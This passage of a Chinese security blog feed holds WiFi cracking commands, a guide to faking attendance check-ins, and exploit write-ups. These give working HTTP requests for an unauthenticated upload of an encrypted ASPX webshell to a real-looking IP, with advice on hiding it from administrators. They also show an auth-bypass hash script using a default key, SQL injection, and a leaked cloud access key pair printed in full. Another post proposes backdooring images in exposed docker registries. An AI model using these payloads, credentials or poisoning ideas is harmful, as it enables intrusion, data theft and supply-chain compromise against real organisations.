pre-shared key.\n有个图很好的展示了WPA加密的难度 参考：https://www.aircrack-ng.org/doku.php?id=cracking_wpa https://sharkfest.wireshark.org/retrospective/sfus/presentations12/MB-6_Introduction_to_WiFi_Security_and_Aircrack-ng.pdf 对于没有客户端连接的情况，可以尝试下面的方案：\nPMKID attack PMKSA = PMKID + Lifetime of PMK + MAC addresses + other variables PMKID = HMAC-SHA1-128(PMK, “PMK Name” + MAC (AP) + MAC(Supplicant))\n步骤 使用hcxdumptool去捕获PMKID 安装\nsudo apt install hcxtools 捕获（网卡开启混杂/监听模式）\nsudo hcxdumptool -i \u0026lt;interface\u0026gt; -o \u0026lt;dump file\u0026gt; --enable_status=\u0026lt;digit\u0026gt; # enable real-time display (waterfall) only incoming traffic # each message is displayed only once at the first occurrence to avoid spamming the real-time display # bitmask: # 0: no status (default) # 1: EAPOL # 2: ASSOCIATION and REASSOCIATION # 4: AUTHENTICATION # 8: BEACON and PROBERESPONSE # 16: ROGUE AP # 32: GPS (once a minute) # 64: internal status (once a minute) # ... # example: show everything but don\u0026#39;t run as server or client (1+2+4+8+16 = 31) # show only EAPOL and ASSOCIATION and REASSOCIATION (1+2 = 3) 对于想捕获单个PMKID可以使用过滤命令\nsudo hcxdumptool -i \u0026lt;interface\u0026gt; -o \u0026lt;dump file\u0026gt; --enable_status=1 --filterlist_ap=target --filtermode=2 转换使用命令转换为hashcat可识别的哈希\nhcxpcaptool -o hash.hc22000 \u0026lt;file\u0026gt; 使用hashcat进行爆破\nhashcat -m 16800 --force \u0026lt;pmkidhash\u0026gt; \u0026lt;dict\u0026gt; --show 参考：https://www.hackingarticles.in/wireless-penetration-testing-pmkid-attack/ PIN爆破 一些路由器默认开启了pin功能，只需要爆破到8位pin值，即可获取到密码。pin由三个部分组成1-4、5-7、8 前四位和中间三位无关系，最后一位为校验值。理论上最多爆破11000次即可出结果。但是现在路由器都具有了防pin功能，导致尝试几次就会锁死pin功能。\n安装软件 sudo apt install reaver 使用reaver爆破 使用命令查看是否开启WPS和锁定\nsudo wash -i \u0026lt;interface\u0026gt; 使用下面命令进行爆破pin\nsudo reaver -i \u0026lt;interface\u0026gt; -c \u0026lt;channel\u0026gt; --b \u0026lt;bssid\u0026gt; -vv 一些没有wps防护的路由器可以进行pin爆破，还会显示进度。当有防护，进度条会卡住，半天跳一下（这种就是有防护，还是放弃wps这个方法）。\nThe current specification of the Wi-Fi Protected Setup specification (version 2.0.8) has specific recommendations for implementers of the protocol to protect against brute force attacks of the PIN. 离线爆破pin 另外，对于无线芯片存在缺陷的（Pixie Dust vulnerability），可以在命令后面加入-K 1实现离线计算pin值。影响范围：\n受影响芯片厂商主要为 Broadcom（博通）部分型号、Realtek（瑞昱）、Ralink（雷凌，联发科旗下）、MediaTek（联发科）、Celeno等。\n注意：Realtek 在 2016 年修复了该漏洞。 效果如下，虽然是个失败的： 字典爆破 使用密码字典进行穷举爆破，最后的无奈办法。\n存在客户端连接 deauth attack 如果有客户端连接可以发送deauth包(强制客户端下线，重新连接网络)捕获到握手包。 使用下面命令发送deauth数据包：\nsudo aireplay-ng --deauth \u0026lt;count\u0026gt; -a \u0026lt;bssid\u0026gt; -c \u0026lt;client mac\u0026gt; \u0026lt;interface\u0026gt; 当出现下面标志时，说明捕获到了握手包 evil twin attack 使用命令配置无线网ssid，开启twin热点\nsudo airbase-ng -e \u0026lt;ssid\u0026gt; -c \u0026lt;channel\u0026gt; \u0026lt;interface\u0026gt; 开启ip转发、流量代理、启用MITM、钓鱼等。\n参考：https://kavigihan.medium.com/wireless-security-evil-twin-attack-d3842f4aef59 KRACK 中间人攻击 通过创建同ssid 和同bssid （信道不同），发送切换信道广播达到中间人目的。脆弱性目标：Linux 和 Android 6.0 或更高版本脚本：https://github.com/vanhoefm/krackattacks-scripts 社会工程学 敲门直接问 wifi钓鱼 。。。 ","permalink":"https://synology.pub/post/wifi_challenge_03-%E7%A0%B4%E8%A7%A3wpawpa2%E7%BD%91%E7%BB%9C/","tags":["WIFI Challenge"],"title":"WIFI_Challenge_03-破解WPA、WPA2网络"},{"categories":["WIFI"],"content":"系统 这里使用的是ubuntu 22.04 LTS系统\n硬件 需要一个USB无线网卡，这里我使用的是RTL8187 （不支持5G），需要抓取5G频段热点时，需要设备支持5G频段。选取的网卡要支持混杂模式即monitor mode\n软件 安装aircrack-ng，进行抓包\nsudo apt install aircrack-ng 安装hashcat，进行密码破解\nsudo apt install hashcat ","permalink":"https://synology.pub/post/wifi_challenge_02-%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85/","tags":["WIFI Challenge"],"title":"WIFI_Challenge_02-环境安装"},{"categories":["WIFI"],"content":"BSSID BSSID 为无线接入点（AP）的物理MAC地址，如：48:5f:08:1a:45:c3\nSSID SSID为无线接入点的显示网络名称，如：TP-2114\nWEP、WPA、WPA2、WPA3对比 相关资料：\nhttps://medium.com/networks-security/wireless-lan-wap-bss-bssid-ssid-ess-essid-5de3a81957f0 https://www.esecurityplanet.com/trends/the-best-security-for-wireless-networks/#:~:text=WEP%2C%20WPA%2C%20WPA2%2C%20and,stronger%20encryption%20and%20attack%20defense. ","permalink":"https://synology.pub/post/wifi_challenge_01-%E5%9F%BA%E7%A1%80%E8%AF%8D%E6%B1%87/","tags":["WIFI Challenge"],"title":"WIFI_Challenge_01-基础词汇"},{"categories":["打卡"],"content":"流程 获取验证码 提交登录 获取accesstoken 进行自动打卡 自动打卡失败，提交checkin数据手动打卡 验证码识别 使用ocr_api_server库实现。\n项目地址： https://github.com/sml2h3/ocr_api_server 修改config.go中的ocrhttp为服务地址。\n验证码训练 使用 https://github.com/sml2h3/dddd_trainer 进行。\n成功率 四位纯数字验证码识别的成功率为89%\n替换方案 使用 https://github.com/wrysunny/weaver-captcha 生成训练验证码 使用 https://github.com/nickliqian/cnn_captcha 进行神经网络训练 识别成功率可达100%\n环境 ubuntu 18.04 python3.6\n文章的部分内容被密码保护：\n--- DON'T MODIFY THIS LINE --- JA3 Bypass（这里http请求用不到） 众所周知，在TLS通信中客户端向服务端握手时会发送Client Hello指纹,服务端可根据该指纹信息判断请求来源使用的程序。\n具体可Google搜索Golang TLS Fingerprint 参考文章：https://www.zackwu.com/posts/2021-03-14-why-i-always-get-503-with-golang/ 对抗措施是，打乱默认的协议套件顺序（最优为每次随机，偷懒设置为自定义顺序）。\nIP伪造 在classbean/com/engine/kq/cmd/attendanceButton/PunchButtonCmd.class文件中的insertSign方法中存在检测来源IP的函数。\ncheckInIp中使用Util.getIpAddr相关方法 最终使用了三种Header头信息确定ip值。\n登录分析 登录接口-用户名加密（密码相同加密） 遇到的坑 单元测试时，登录老是通不过，提示密码输入错误。 起初以为是rsa加密后使用了非url safe编码导致的，在网页上下断点分析发现加密后的密文使用了默认的base64编码非url safe编码问题。 直到查看了rsa.js加密库时才发现问题。 魔改了下标准的JSEncrypt库，为了支持加密长数据，采用了240长度的分组加密（账号密码那点长度可以不用考虑）。且通过RSA_CODE进行拼接后加密。\n相关代码修改为： 打卡位置 使用/api/hrm/kq/grouplocation/getLocationWifiInfo接口可获取当前可打卡的地址、经纬度、范围等结果。 经纬度精度 通过抓包可以发现经纬度如下： ...\u0026amp;longitude=118.88628255208333\u0026amp;latitude=32.09871337890625\u0026amp;...\n精确度都为小数点后14位数，可以根据上一步中的范围给出精确度为6位数的经纬度随机生成8位随机数字。\n打卡接口 通过抓包分析，/api/hrm/kq/attendanceButton/getOutButtons和/api/hrm/kq/attendanceButton/punchButton\n通过Github搜索，/api/hrm/kq/attendanceButton/getOutButtons仅一处代码中使用此接口： 猜测为传入经纬度返回地点名称的接口。\n本地通过代码分析，确认/api/hrm/kq/attendanceButton/punchButton为记录打卡的正确接口：\nSignData 通过抓包发现，存在sign对数据包签名。\nsignData=c8cb0b989258d4aed93b7f2019b35827ver 之前分析eteams时，其sign算法为MD5(\u0026quot;wea\u0026quot;+uid)+\u0026quot;ver\u0026quot;的形式，且目前签名特征符合。\n去掉ver带入到md5中进行解密。\n其中137为用户的userid信息，2作用不明。\n经过坚持不懈的在javascript混淆的海洋中搜索，终于找到其signData使用的算法了（/spa/hrm/static4signPlugin/siginPlugin.js）。\n简单来讲，就是获取其userid和groupid转为字符串拼接，带入到signSecret方法。\n再来看看signSecret方法\n印证了上述的猜想。\n自动打卡 获取ssokey /api/ec/dev/app/getSSOCode接口获取ssokey值\n获取AccessToken 使用8999端口的emp/passport/ssologin接口，传入ssokey值，返回AccessToken值（后续打卡用到的鉴权）\n打卡接口 抓包时发现，/emp/api/task/client/report接口会传递如下信息： 由于抓包时时间不对，提示自动打卡失败。 其他参数都容易构造，但task_id参数不知道是随机生成的时间戳还是服务端返回的时间戳，暂时不考虑自动打卡 task_id参数是由服务端返回的。\n各个参数 apk安装包进行反编译，搜索/emp/api/task/client/report接口 client_info参数： clientType参数是固定值，android为3，ios为2\n这里需要注意的是electricity参数，传入的是电池电量信息：1-100（电池为0不就关机了吗） report_type参数： 由Integer.valueOf(this.task.getReport_type()))赋值，task类中是由setReport_type进行赋值。\n继续查找引用，只有一处getSingleTask进行赋值 继续查找引用，这次有两处引用 结合上下文，第一个引用好像不是打卡用途，跟进第二处引用并查找用例 结合抓包结果，看最后一个传入3的哪个用例，看上去像是签到的类型 传入值 用途 截图 4 疑似发送消息 5 疑似打开url task_type和task_id获取：\nemp/api/passport/getinit接口获取 代码中找到了部分定义 外部控制 启动web服务，接收token凭证验证正确即随机延时0-600秒 执行打卡程序 要求请求触发时间不能超过8点50 苹果快捷助手可以设置自动化任务，每天定时时间请求url（上面的web服务，传入相应的凭证即可），请求后由于cloudflare最长超时时间原因可能会导致没有结果回显。 可以通过订阅号查看相关的打卡结果信息。\n","permalink":"https://synology.pub/post/emobile7%E6%89%93%E5%8D%A1%E7%A0%94%E7%A9%B6/","tags":["Emobile7","打卡","weaver"],"title":"Emobile7打卡流程研究"},{"categories":["漏洞"],"content":" 文章的部分内容被密码保护：\n--- DON'T MODIFY THIS LINE --- 防止泄露！防止泄露！防止泄露！ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\n软件商：https://www.howfor.com/ Title：Digital Signage Header： Server: HowFor Web Server/5.6.0.0 Ico： images/qihang.ico icon_hash=\u0026ldquo;1426755505\u0026rdquo;\n默认密码 通过dll分析，存在dev用户和admin用户权限相同，且密码为硬编码密码howfor@dev Admin/admin、dev/dev 、dev/howfor@dev 这三个密码都可以试试。\n任意文件下载 通过http://x.x.x.x/QH.aspx?responderID=script\u0026amp;key=class\u0026amp;path=/\u0026lt;$file 可下载任意文件。\n任意目录遍历 通过http://x.x.x.x/QH.aspx?responderId=ResourceNewResponder\u0026amp;action=getAll\u0026amp;path=\u0026lt;$dir\u0026gt;\u0026amp;fileName= 可查看web目录相关文件\n任意文件上传 数据包：\nPOST /QH.aspx HTTP/1.1 Host: 221.226.79.116:9101 Content-Length: 1033 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary44nSivNqEB9aEc7m Accept: **/** Origin: http://221.226.79.116:9101 Referer: http://221.226.79.116:9101/index.htm Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: ASP.NET_SessionId=o03kb0xfp4hlj1i22krbh2m1; qihang_cookie_key_language=zh-Hans; qihang_cookie_key_auto_login=; JSESSIONID=23DFE5876DB36338AC8AE8522CA3205D; 28B256D8B2934141B413384B31F9ED50=V9No05vh+laS9n/AWQsAq1dtCFWOetdQraDqtFM9fN4FTFtQwNjt7RzxgN4HRVQcrp5Oycc5MrGuqiWbbngrxsGEOc9q0W2/WE2PZJ+bUeV3M9a6S6XN5AjKiJ2iaqUcFgZtAO+EJcqKlHXxp1Eo5KTYXThxt4RQxubGVQRViM=; 749AA4F8A6484059BFAA6BE89E401746=PpUIyQLQUiU1PtP88DY8zceBt2tdnBMu9v70bUEuvdZu55kZ9c3p/58UF2ey0U5B7ZHm7lUrrZ+x1OxhA/P8psyoX3INAohD78pE940z4bJ1HRPoyH84BztpV1Bk5KqpCyWiwS3NxbJ7p7i1gUvOyr5V1ddEKRTmtVPgUFt/ko= Connection: close ------WebKitFormBoundary44nSivNqEB9aEc7m Content-Disposition: form-data; name=\u0026#34;fileToUpload\u0026#34;; filename=\u0026#34;qianxin.aspx\u0026#34; Content-Type: image/jpeg \u0026lt;ac:structured-macro ac:name=\u0026#34;unmigrated-wiki-markup\u0026#34; ac:schema-version=\u0026#34;1\u0026#34; ac:macro-id=\u0026#34;222dc023-cd0e-428e-b618-dd9c9b0c7f5d\u0026#34;\u0026gt;\u0026lt;ac:plain-text-body\u0026gt;\u0026lt;![CDATA[\u0026lt;%@ Page Language=\u0026#34;C#\u0026#34; %\u0026gt;\u0026lt;%@Import Namespace=\u0026#34;System.Reflection\u0026#34;%\u0026gt;\u0026lt;%Session.Add(\u0026#34;k\u0026#34;,\u0026#34;e45e329feb5d925b\u0026#34;); /*åÆ¥:Þ¥Æ32Mmd5\u0026lt;M16M Ø¤Þ¥Ærebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + \u0026#34;\u0026#34;),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance(\u0026#34;U\u0026#34;).Equals(this);%\u0026gt; ]]\u0026gt;\u0026lt;/ac:plain-text-body\u0026gt;\u0026lt;/ac:structured-macro\u0026gt; ------WebKitFormBoundary44nSivNqEB9aEc7m Content-Disposition: form-data; name=\u0026#34;action\u0026#34; upload ------WebKitFormBoundary44nSivNqEB9aEc7m Content-Disposition: form-data; name=\u0026#34;responderId\u0026#34; ResourceNewResponder ------WebKitFormBoundary44nSivNqEB9aEc7m Content-Disposition: form-data; name=\u0026#34;remotePath\u0026#34; /opt/resources ------WebKitFormBoundary44nSivNqEB9aEc7m Content-Disposition: form-data; name=\u0026#34;keepResolution\u0026#34; false -----WebKitFormBoundary44nSivNqEB9aEc7m- 实测不需登录即可上传，最好remotePath路径写在/opt/目录下，不会被管理员查看素材时发现\n任意用户密码查看 数据包：\nPOST /QH.aspx?_dc=1656754615865 HTTP/1.1 Host: 221.226.79.116:9101 Content-Length: 69 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: **/** Origin: http://221.226.79.116:9101 Referer: http://221.226.79.116:9101/index.htm Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close responderId=user\u0026amp;action=getPage\u0026amp;state=1\u0026amp;page=1\u0026amp;start=0\u0026amp;limit=25\u0026amp;sort= 可在不登陆下查看系统用户的明文密码信息\n","permalink":"https://synology.pub/post/%E5%B9%BF%E5%91%8A%E5%A4%A7%E5%B1%8F%E6%9F%90%E6%BC%8F%E6%B4%9E/","tags":["广告大屏","漏洞"],"title":"广告大屏某漏洞"},{"categories":["漏洞"],"content":" 文章的部分内容被密码保护：\n--- DON'T MODIFY THIS LINE --- 防止泄露！防止泄露！防止泄露！ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\n源码： https://drive.google.com/drive/folders/1y-ktAhwy5roDmczJwdxJk6-XUu7He5E3?usp=drive_link icon_hash=\u0026quot;-1917810060\u0026quot;\n主页长这样：\n分析 上传 在YZSoft.Services.REST\\Attachment\\Upload.ashx中存在上传的功能点\n源码在 App_Code\\YZSoft.Services.REST\\Attachment\\Upload.cs中可以看到大部分的方法都存在任意上传，按照常理，可以直接构建上传数据包进行getshell\nSaveHeadshot方法可以上传文件，但是涉及到对上传文件后的裁剪，所以上传非图片内容就会显示失败，实际上上传上去了。\n数据包：\nPOST /YZSoft.Services.REST/Attachment/Upload.ashx?Method=SaveHeadshot\u0026amp;account=admin HTTP/1.1 Host: 183.56.232.34 Content-Length: 440 Cache-Control: max-age=0 Cookie: ASP.NET_SessionId=dkhzlhkb31bpkdclg5fdhenb; .ASPXAUTH=940CCE596B54D1FA8878EB503745F01E8DBA4B08E6CD72FF75A0A8C9FFD309E37CCAB8654AC272A7FBC819FB2149E156CBA1EE11EA568964E0ACC919469B0440827E21B91ADDB3BF628EEE184C1B7E22208974867342993751BBAD49B3437507558F4B67C6A3C11B6FBFB49842B089FBFC779817 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynygNaGaBkOZwaOEB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundarynygNaGaBkOZwaOEB Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;1.aspx\u0026#34; Content-Type: image/png \u0026lt;%@ Page Language=\u0026#34;C#\u0026#34;%\u0026gt; \u0026lt;% Response.Write(\u0026#34;hello,world\u0026#34;); %\u0026gt;‚ ------WebKitFormBoundarynygNaGaBkOZwaOEB Content-Disposition: form-data; name=\u0026#34;fileName\u0026#34; 1.txt ------WebKitFormBoundarynygNaGaBkOZwaOEB Content-Disposition: form-data; name=\u0026#34;fileExt\u0026#34; .txt ------WebKitFormBoundarynygNaGaBkOZwaOEB-- 直接访问即可\n身份绕过 但是这里App_Code\\YZSoft.Services.REST\\Attachment\\UploadServiceBase.cs对上传行为做了鉴权\n虽然29-39行可以进行绕过，但是23-24行绕过不了，无法执行后面的操作YZAuthHelper.AshxAccessCheck()是个空方法\n但是this.AuthCheck()对应的是YZAuthHelper.AshxAuthCheck()\n但是AshxAuthCheck对应的是是调用 YZAuthHelper.IsAuthenticated判断是否进行过身份鉴权，这个是绕不过去的\nShowMaintenancePage对应的功能是网站维护模式，一般都是false。\nYZAuthHelper.IsAuthenticated中的判断逻辑如下：\n其中，FormsAuthentication.Decrypt吸引了注意，FormsAuthentication.Decrypt为微软的身份验证方法，到内存中解密cookies信息，判断是否进行登录。\n按照常规方法，这里是无法进行绕过的，既然有Decrypt方法，可以试试找一找Encrypt方法。\n只找到了两处，App_Code\\YZSoft\\Helper\\YZAuthHelper.cs 下对应的SetAuthCookie两个方法，第二个方法没有引用就不看了。\n然后全局搜索 SetAuthCookie 关键词，共有19个地方进行了调用。\n其中 Simulate.cs中有4处引用，在Start 、Process这两个方法中\n但是， 在YZServiceHandler这个类中。类实现的代码在App_Code\\YZSoft\\core\\YZServiceHandler.cs\n还是要身份鉴权，不鉴权访问就会提示如下信息\n再回头看剩下3处调用SetAuthCookie的地方\n第一处在YZSoft\\forms\\Process.aspx.cs\n这个除非是知道了数据库中的token信息，不然不太可能进行利用。\n第二处YZSoft\\forms\\ReadForm.aspx.cs\n此处需要传入三个参数 Account、tid和 readFormToken\n并且需要满足YZSecurityHelper.CheckReadFormToken(account, tid, readFormToken)为True\n跟进CheckReadFormToken\n跟进 CheckHash\n跟进 GenHash\n那么YZSecurityHelper.SecurityKey是什么呢\n先从web.config中获取SecurityKey ，如果获取不到或者没有这个属性，就设置个默认值 2wersd99f81fl09ad 说起来也有点搞笑，github搜索居然能搜索出来\n看来web.config默认的SecurityKey也是2wersd99f81fl09ad\n使用python写了个计算hash的小脚本\nimport hashlib key = \u0026#39;2wersd99f81fl09ad\u0026#39; account = \u0026#39;admin\u0026#39; taskid = 1 def gen_hash(values, key): hash_str = \u0026#39;,\u0026#39;.join(values) + key print(hash_str) hash_obj = hashlib.sha1(hash_str.encode(\u0026#39;utf-8\u0026#39;)) hash_hex = hash_obj.hexdigest() return hash_hex.lower() values = [\u0026#39;ReadFormToken\u0026#39;, account, str(taskid)] hash1 = gen_hash(values, key) print(hash1) 计算出的readFormToken值为d61491ee53d272a3f801efd5f6e8ebf3061bc265\n虽然网页为报错提示，但是header头中已经返回了认证后的cookie信息\n再回头看第三处调用SetAuthCookie地方，在YZSoft\\login\\2020\\Default.aspx.cs的NTLoginInternal方法中\n其中BPM.Client.User.IsAccountExist方法在 bin目录下对应的dll中\nYZAuthHelper.BPMLogoutLastAccount对应的方法\n跟进\n按照上面代码，构造的数据包如下。不知道为啥不成功（method 为LoginNT 下面图截错了）\n还有一处是Login方法\n此处需要认证才行，暂时也G\nSQL注入 在YZSoft\\login\\2020\\Default.aspx.cs中的 Login方法中\n使用的是RSA公钥登录，进行加载私钥用来解密传输的数据，并在137行直接拼接uid参数到sql语句中。造成了sql注入\n因为没有正确的账号密码BPMConnection.Authenticate这里会始终为false。导致始终会进入else判断\n并输出\u0026quot;账号或密码不正确\u0026quot;\n所以这是个盲注。keystore为rsa的存储id，可以在GetPublicKey 方法中获取\n如下：\n只需要传入keystore对应的值即可。不过要注意的是\n其中，私钥默认的过期时间为30分钟，要在30分钟内进行注入\noss key泄露 在源码中，泄露了开发商的阿里云key\nstring accessKeyId = \u0026#34;LTAI4FvAPsEAxM9uLrZrXWVB\u0026#34;; string accessSecret = \u0026#34;wH7fU07GjeIhbEdZlvL7zaZklvt9wX\u0026#34;; string regionId = \u0026#34;cn-hangzhou\u0026#34;; 可以管理2台服务器，其中一台为官网\n官网应用 https://121.40.190.246:5001/auth/login?ReturnUrl=%2F 系统默认用户sa 密码空\n","permalink":"https://synology.pub/post/%E6%98%93%E6%AD%A3%E8%BD%AF%E4%BB%B6-%E4%B8%9A%E5%8A%A1%E6%B5%81%E7%A8%8B%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F-%E8%BA%AB%E4%BB%BD%E7%BB%95%E8%BF%87+%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0+sql%E6%B3%A8%E5%85%A5+oss-key%E6%B3%84%E9%9C%B2/","tags":["漏洞","身份绕过","任意文件上传","SQL注入"],"title":"易正软件-业务流程管理系统-身份绕过+任意文件上传+sql注入+oss key泄露"},{"categories":["docker"],"content":"前段时间在某次护网中发现了某个私有docker仓库存在未授权访问，这引起了我的好奇。带着疑问进行了简单的研究。\n仓库列表 遇到的仓库是开放了http的5000端口，访问http://xxx/v2/_catalog\n镜像标签 默认的镜像标签都是latest，不排除开发者故意设置其他的标签。如使用版本号作为标签。\n这里可以使用他的api接口进行查询某一个镜像的所有标签，比如我这里查询sopplus镜像，可以看到存在两个标签。\n镜像拉取 这里交给docker进行pull。因为目标仓库使用了http协议，会被docker认为是不安全的。\n这里可以修改 /etc/docker/daemon.json 文件（没有可以创建）内容如下：\n对docker服务进行重启 sudo systemctl restart docker ，到这里就可以进行拉取镜像了。\n镜像上传 可以本地制作恶意的镜像或添加后门代码到镜像中，使用tag给本地的镜像打个标签。\n命令为：docker tag \u0026lt;local_images\u0026gt; \u0026lt;remote_images\u0026gt;:\u0026lt;tag\u0026gt; 打完标签就可对该镜像进行push操作了，命令如下：\n对上传进行进行验证 使用api接口进行验证，是否真正的push上去了。使用如下接口进行访问\nhttp://xxx/v2/\u0026lt;images\u0026gt;/tags/list\n可以看到已经成功上传了我修改后镜像tag\n利用扩展 缺点： 由于对指定镜像投毒具有缓慢性，不清楚什么时候进行pull操作也有可能会push新的版本。\n即使投毒成功也无法及时有效的知道镜像被部署到什么服务器中。\n思路： 如下显示的镜像中存在基础镜像和编译镜像\n可以考虑如底层镜像centos中添加二进制后门，定期向指定服务器回传等操作。\n还可以考虑如maven 编译镜像中添加后门程序，在正常编译程序的同时向正常代码中增加backdoor代码等。\n······\n","permalink":"https://synology.pub/post/docker%E4%BB%93%E5%BA%93%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/","tags":["docker仓库","安全研究"],"title":"docker仓库安全研究"},{"categories":["漏洞"],"content":"发现sql注入 在网站的登录处和注册处都发现了sql注入的痕迹\n经过fuzz，一些关键词：or、and等被强制过滤了，无法进行绕过。\n绕过waf 经过hunter搜索，获得了历史dns信息，确定了真实ip地址。直接访问ip如下：\n可以判断为宝塔搭建的，在burp设置中绑定域名和ip地址\n失败的sql注入 使用sqlmap进行注入，虽然绕过了waf，但是遇到了只能查询到当前数据库名，获取不到表名，也无法dump指定表和字段信息\n任意登录 本来想通过sql注入获取到用户和密码进行登录的，虽然跑不出来数据，但是想了下可以通过万能密码登录啊。\n换个思路，使用' OR 1=1 AND 'fWVy'='fWVy登录\n任意文件上传 在个人信息处，可以上传个人照片，但是限制了上传大小为1M-5M（前端限制）\n这里上传的数据包如下，可以通过把图片后缀改为php达到任意文件上传的目的\n上传后通过刷新个人中心，获得上传后的地址。\n这里有个问题就是，上传大文件（1M多）就会出现下面错误\n此外还判断了是否存在图片头。\n解决办法就是php文件前面添加jpg的图片头内容\n上传\n访问上传后的文件就可以正常的访问phpinfo信息了\n把phpinfo替换为webshell\n至此拿下了这个站点。\n","permalink":"https://synology.pub/post/%E4%BB%8E%E5%A4%B1%E8%B4%A5%E7%9A%84sql%E6%B3%A8%E5%85%A5%E5%88%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/","tags":["SQL注入","任意文件上传","漏洞"],"title":"从失败的sql注入到任意文件上传"},{"categories":[".net"],"content":"遇到使用.net framework编写的dll，里面有实现加解密方法。想要调用相关解密函数对字符串进行解密。\nweb.config文件中定义了数据库的连接信息。\n内容是base编码的内容，不可直接解码。\n在YHLBaseFunc.dll文件中，YHLBaseFunc.CryptManage类下存在Decrypto函数方法可以进行解密。\n创建一个Program.cs文件，使用.net中的反射进行调用相关解密函数。\nusing System; using System.Reflection; namespace DecryptTextExample { class Program { static void Main() { // 加载DLL string dllPath = \u0026#34;YHLBaseFunc.dll\u0026#34;; // 替换为实际的DLL路径 Assembly assembly = Assembly.LoadFrom(dllPath); // 获取DecryptText方法 Type type = assembly.GetType(\u0026#34;YHLBaseFunc.CryptManage\u0026#34;); MethodInfo method = type.GetMethod(\u0026#34;Decrypto\u0026#34;); // 创建CryptManage实例 object cryptManageInstance = Activator.CreateInstance(type); // 调用DecryptText方法 string encryptedText = \u0026#34;uiLEkqDCJIb9b/t6N0M9greoxsTEyvSIe+2PAARri/mI8E/Upi3ih6Kd79y2rVoyAMYT53zuoyQ25EwoW5NfCQ==\u0026#34;; object[] parameters = new object[] { encryptedText }; string decryptedText = (string)method.Invoke(cryptManageInstance, parameters); // 输出解密结果 Console.WriteLine(\u0026#34;Decrypted Text: \\r\\n\u0026#34; + decryptedText); } } } 使用.net framework相关的SDK中的csc.exe进行编译。\n用csc.exe Program.cs即可在本地生成相关exe程序。\n相关dll文件： YHLBaseFunc.dll ","permalink":"https://synology.pub/post/%E8%AE%B0%E5%BD%95%E8%B0%83%E7%94%A8dll%E5%8F%AF%E5%AF%BC%E5%87%BA%E5%87%BD%E6%95%B0%E8%BF%9B%E8%A1%8C%E8%A7%A3%E5%AF%86%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%87%E7%A8%8B/","tags":["调用dll",".net"],"title":"记录调用dll可导出函数进行解密数据库过程"},{"categories":["吐槽"],"content":"前情 老家里移动宽带快到期了，300M/30￥/mon 到期后费用是60，觉得比较贵，直接淘宝上电信旗舰店买的一年的100M宽带。\n经过 10000打电话确认地址后，隔了一两个小时装维人员就打来电话，确认了第二天可以安装。\n第二天安装好后，需要签字，撇了终端信息一眼，没多大看完。\n安装结束后，才发现什么TM叫2+1PON 就是两个网口加上一个电话口。\n等登录光猫的后台才发现，居然两个网口都是百兆口！！！ 好歹移动几年前的光猫也是1千兆+3百兆配置啊。\n看了光猫后面的配置信息，释怀了。 TMD居然拿2015年二手的库存当全新设备来用！\n不是说不能用二手光猫，我用的还是咸鱼淘的华为MA5671呢，你好歹给个2018年之后的光猫吧，2015年的还能用？ 连天翼管家都不能连接管理（你好歹考虑下后续客户升级宽带吧）。\n幸好光猫普通用户下面可以配置桥接模式，还是直接桥接拨号吧。怕哪天光猫突然寿终正寝了。\n接受光功率-19db 发光功率2db，这线路也不咋地。speedtest.cn测速也只能到80~90之间。\n远离电信！！！用完赶紧扔了。\n","permalink":"https://synology.pub/post/%E5%90%90%E6%A7%BD%E4%B8%80%E4%B8%AA%E5%9E%83%E5%9C%BE%E6%9F%90%E4%BF%A1%E7%9A%84%E5%9E%83%E5%9C%BE%E5%85%89%E7%8C%AB/","tags":["某信","光猫","吐槽"],"title":"吐槽一个垃圾某信的垃圾光猫"},{"categories":["破解"],"content":" 文章的部分内容被密码保护：\n--- DON'T MODIFY THIS LINE --- 关于代理商 摘自维基百科\n苏州思杰马克丁软件有限公司（简称思杰马克丁软件）是一家成立于2009年位于江苏省苏州市的软件代理商，从事商业软件地区代理发行、知识产权代理维护、软件发行售后等业务。不过实际上，思杰马克丁被一些合作的软件厂商及部分网友指出，其独家软件贩售及售后服务之代理权，是依靠盗版行为和网络打手恫吓和勒索软件厂商，然后逼使这些厂商授予该公司而获取的，部分行为有违反中国大陆著作权法之嫌。有些网友指出，一旦该公司代理某款软件，其就会立即清理网上的盗版软件信息。而且，其代理的软件还有篡改原软件厂商的数字签名、掺杂恶意软件等行为，所代理软件的售后服务也是饱受批评。一些不堪其扰的软件开发商也因此决定放弃与其合作、取消其代理权。\n摘自其代理某软件官网介绍 https://www.ntfsformac.cn/aboutus.html 